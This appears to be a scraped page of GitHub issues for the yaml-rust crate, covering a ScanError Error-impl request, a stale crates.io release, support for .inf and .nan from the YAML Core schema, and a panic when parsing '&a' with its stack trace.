Would be nice if we could get an Error impl for ScanError, so we could easily use try! with Yaml::load_from_str.

Crates.io release is old

Hi,

the latest crates.io release is 8 months old. There're bugfixes (especially in the emitter) that are awesome. It would be great to have a new release with those fixes.

Thanks

Add support for .inf and .nan from the Core/JSON schemas

yaml-rust currently doesn't support the language-independent representations of +/- infinity and NaN recommended by the YAML spec. The Core schema specifies the following representations:

YAML Rust
.inf, .Inf, .INF, +.inf, +.Inf, +.INF std::f64::INFINITY
-.inf, -.Inf, -.INF std::f64::NEG_INFINITY
.nan, .NaN, .NAN std::f64::NAN

The JSON schema specifies a subset of those.

By the way, thanks for creating this crate!

Panic parsing "&a" in 0.3.3

This code:

extern crate yaml_rust;

fn main() {
    yaml_rust::YamlLoader::load_from_str("&a");
}

causes this panic in parse_node:

     Running `target/debug/example`
thread '<main>' panicked at 'called `Option::unwrap()` on a `None` value', ../src/libcore/option.rs:326
stack backtrace:
   1:        0x10b5a35d8 - std::sys::backtrace::tracing::imp::write::h4c73fcd3363076f5
   2:        0x10b5a5145 - std::panicking::default_hook::_$u7b$$u7b$closure$u7d$$u7d$::h0422dbb3077e6747
   3:        0x10b5a4d7e - std::panicking::default_hook::haac48fa641db8fa2
   4:        0x10b59d5e6 - std::sys_common::unwind::begin_unwind_inner::h39d40f52add53ef7
   5:        0x10b59dfae - std::sys_common::unwind::begin_unwind_fmt::h64c0ff793199cc1b
   6:        0x10b5a2a27 - rust_begin_unwind
   7:        0x10b5cb160 - core::panicking::panic_fmt::h73bf9d7e8e891a73
   8:        0x10b5cb45c - core::panicking::panic::hdbcf9a6d5c170498
   9:        0x10b5914c0 - _<std..option..Option<T>>::unwrap::hdb7559c52757d06c
  10:        0x10b588dfe - _<parser..Parser<T>>::parse_node::hb38958c33ee96add
  11:        0x10b56ee0d - _<parser..Parser<T>>::state_machine::he04d0636244bf4cc
  12:        0x10b56e59c - _<parser..Parser<T>>::parse::hbe6d7defc7e9a92a
  13:        0x10b598178 - _<parser..Parser<T>>::load_document::hc416de6d027808b5
  14:        0x10b56e33a - _<parser..Parser<T>>::load::he7f635135c2bcfc6
  15:        0x10b56629d - yaml_rust::yaml::YamlLoader::load_from_str::h10de2549e2bdf167
  16:        0x10b540e6e - example::main::hf296d8bc4376a433
  17:        0x10b5a4972 - std::sys_common::unwind::try::try_fn::h09ba69fd13531e58
  18:        0x10b5a29bb - __rust_try
  19:        0x10b5a47b4 - std::rt::lang_start::h5b0863080165c75e
  20:        0x10b544b89 - main

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.